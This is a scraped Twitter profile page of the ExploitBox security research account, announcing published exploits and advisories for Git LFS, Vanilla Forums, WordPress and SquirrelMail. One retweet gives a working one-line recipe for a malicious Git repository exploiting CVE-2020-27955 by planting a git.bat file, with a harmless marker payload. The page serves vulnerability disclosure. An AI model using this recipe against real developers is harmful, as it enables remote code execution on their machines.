Picture

ExploitBox @Exploit_Box

A Playground & Labs For Hackers, Bug Hunters, Researchers & Other #Security Folks. To learn, share and pwn. -- Created by @dawid_golunski ExploitBox.io /home/exploitbox/exploits Joined March 2017
  • Tweets
    18
  • Followers
    4K
  • Following
    0
  • Likes
    3
ExploitBox retweeted
dawid_golunski Profile Picture

Dawid Golunski @dawid_golunski

5 years ago

Here's the gist. My git lfs RCE #exploit CVE-2020-27955 fits in a tweet ;) @Exploit_Box exploitbox.io/vuln/Git-Git-L… git lfs track "*.dat" ; echo vuln>lfs.dat ; git add .* * ; echo "echo DG>GITHACKED" >git.bat ; git commit -a -m 'git pwned' #infosec #cybersecurity #security #vuln

Exploit_Box Profile Picture

ExploitBox @Exploit_Box

5 years ago

Fresh and juicy Git-lfs #RCE CVE-2020-27955 #exploit #vulns by @dawid_golunski are up at exploitbox.io #gitHub Desktop gh CLI #git #gitKraken Visual Studio #SourceTree ..pretty much the whole Windows #dev world affected ;) #coding #vuln #exploit #0day #infosec

Exploit_Box Profile Picture

ExploitBox @Exploit_Box

5 years ago

Git / GitHub CLI / Git LFS exploit PoC CVE-2020-27955 @dawid_golunski #vuln #infosec #coding #security youtube.com/watch?v=tlptOf…

Exploit_Box Profile Picture

ExploitBox @Exploit_Box

5 years ago

Git LFS Critical #RCE #vuln CVE-2020-27955 by @dawid_golunski #exploit Allows to achieve RCE via a clone of a malicious repo. Tens of dev IDEs and git clients affected in default config #0day #git #github #security #infosec #0day #devops #coding legalhackers.com/advisories/Git…

Exploit_Box Profile Picture

ExploitBox @Exploit_Box

5 years ago

Time flies like a dragonfly ;) ExploitBox exploitbox.io is back on track! Aiming for BETA launch by x-mas! Meanwhile, some new juicy vulns coming up later on this week :) #infosec #exploit #vuln #hacking #security youtube.com/watch?v=ZFt_S5…

Exploit_Box Profile Picture

ExploitBox @Exploit_Box

8 years ago

[ Adv. #vuln2 ] Vanilla Forums 2.3 Host Header Injection CVE-2016-10073 #0day #infosec #exploit by @dawid_golunski exploitbox.io/vuln/Vanilla-F…

Exploit_Box Profile Picture

ExploitBox @Exploit_Box

8 years ago

Vanilla Forum 2.3 - Pre-auth #0day Remote Code Exec. - #vuln #RCE #exploit by @dawid_golunski #infosec #security exploitbox.io/vuln/Vanilla-F…

Exploit_Box Profile Picture

ExploitBox @Exploit_Box

8 years ago

Vanilla Forums 2.3 (latest ver.) - Critical #0day Remote Code Execution #RCE #exploit by @dawid_golunski #infosec youtu.be/8tWfWjfhZWU

ExploitBox retweeted
dawid_golunski Profile Picture

Dawid Golunski @dawid_golunski

8 years ago

[Adv.Update] #WordPress 4.7.4 Unauth. Pass Reset Example scenarios divide into requiring interaction and no inter. exploitbox.io/vuln/WordPress…

Exploit_Box Profile Picture

ExploitBox @Exploit_Box

8 years ago

CVE-2017-8295 #0day #Wordpress 4.7.4 Potential Unauth Password Reset #vuln #exploit #infosec by @dawid_golunski exploitbox.io/vuln/WordPress…

Exploit_Box Profile Picture

ExploitBox @Exploit_Box

8 years ago

The paper 'Pwning PHP mail() function For Fun And RCE' by @dawid_golunski is out. #RCE #exploit #phpmailer exploitbox.io/paper/Pwning-P…

Exploit_Box Profile Picture

ExploitBox @Exploit_Box

8 years ago

#WordPress #RCE #vuln #exploit has been published and sent out to subscribers. Uncover some interesting vectors: exploitbox.io/vuln/WordPress…

Exploit_Box Profile Picture

ExploitBox @Exploit_Box

8 years ago

Getting closer to releasing the @dawid_golunski #WordPress #RCE #exploit write-up +src. It's a long one #infosec Stay hungry. Stay pwny ;)

Exploit_Box Profile Picture

ExploitBox @Exploit_Box

8 years ago

Getting closer to releasing the @dawid_golunski #WordPress #RCE #exploit write-up +src. It's a long one #infosec Stay hungry. Stay pwny ;)

Exploit_Box Profile Picture

ExploitBox @Exploit_Box

8 years ago

[#Wordpress #RCE #exploit by @dawid_golunski] Subscribers first to get link to the writeup & src #security #infosec youtube.com/watch?v=ZFt_S5…

ExploitBox retweeted
dawid_golunski Profile Picture

Dawid Golunski @dawid_golunski

8 years ago

[Advisory] SquirrelMail <=1.4.22 Auth. Remote Code Exec #exploit #0day #cybersecurity #infosec #vuln #hacking #rce legalhackers.com/advisories/Squ…

Exploit_Box Profile Picture

ExploitBox @Exploit_Box

9 years ago

[ExploitBox - Playground for #infosec ] Juicy #security #exploit #vuln coming up for subscribers. Stay tuned! :) ExploitBox.io

Exploit_Box Profile Picture

ExploitBox @Exploit_Box

9 years ago

ExploitBox -A Playground For #infosec #Security #cybersecurity Folks. Subscribe to get #0day access to the site ExploitBox.io

Trends for United States

Karen
124 B posts
Good Saturday
26,7 B posts
GiveRep V1
1.151 posts
#SaturdayVibes
2.901 posts
Game Day
35,5 B posts
#Caturday
3.928 posts
Marlins
33,8 B posts
Ken Dryden
8.435 posts
#OverstockIsBack
1.376 posts
#PraewCharityxFaye
59,8 B posts
FAYE GROWING TOGETHER
59,9 B posts
Elizabeth Warren
46,1 B posts
Olivia Smith
3.633 posts
#RevampSeriesEP3
93,5 B posts
FKJD FANDAY24 SG
292 B posts
Bader
23 B posts
Rachel
82,7 B posts
Fourth Amendment Workplace
The Dad
83,8 B posts
Tylenol
49,3 B posts

You might like

Researcher @SpecterOps. Coding towards chaotic good while living on the decision boundary.
Will Schroeder
@harmj0y
48K Followers
JavaScript for hackers: Learn to think like a hacker. https://t.co/e0aNEbEDk5
Gareth Heyes \u2028
@garethheyes
37K Followers
Improving the world’s security at Google. Opinions are mine.
@[email protected]...
@SecurityMB
11K Followers
Security Researcher with @XBOW. CTF #int3pids. Opinions here are mine! bluesky: https://t.co/9HRRzpBECt
Alvaro Muñoz 🇺�...
@pwntester
13K Followers
意志 / Antiquarian @ IBM X-Force / t501 / Ex-TORE ⚔️🦅 / I rewrite pointers and read memory / AI Psychoanalyst / Teaching @CalypsoLabs
b33f | 🇺🇦✊
@FuzzySec
33K Followers
open to bug bounty collaboration @HackenProof Security Researcher Just dm https://t.co/VVU1OV5yz6 业余打土狗
ch
@chybeta
14K Followers
Product Manager @ Google. I post about bug bounties, infosec, and everything in between. This is a personal account. Formerly: @Hacker0x01
Jon Bottarini
@jon_bottarini
13K Followers
Vulnerability Research, Kernel Exploitation, Reverse Engineering, Exploit Development, Program Analysis, Malware Research, Web, Machine Learning
HackSys Team
@HackSysTeam
10K Followers
Team @hashcat! Eternal n00b and knowledge seeker! Age is just a number and motivation is the fuel! Whatever you do in your life, do not forget to be humble.
Spiros Fraganastasis
@m3g9tr0n
14K Followers
not mad. mentally divergent. personal profile, opinions my own. everything I say is probably wrong. 🐘 @sirdarckcat@infosec.exchange
Eduardo Vela
@sirdarckcat
12K Followers
Security Researcher at @GHSecurityLab
Michael Stepankin
@artsploit
7K Followers
@insertscript@infosec.exchange # https://t.co/liE6hop4OX Array(10).join('a'-1)+ Batman! #Cure53
alex
@insertScript
7K Followers
BOOMBAP!
k0shl
@KeyZ3r0
7K Followers
Web AppSec Researcher | #❶ in Microsoft's Top 100 Security Researcher List -2018 | #❹ in Microsoft's Most Valuable Researcher List -2019 & 2020 | Thanks #🆇🆂🆂
Ashar Javed
@soaj1664ashar
14K Followers
Director, Red Team, Offensive Security. Help organizations safeguard their businesses from the bad guys.
Vincent Yiu
@vysecurity
29K Followers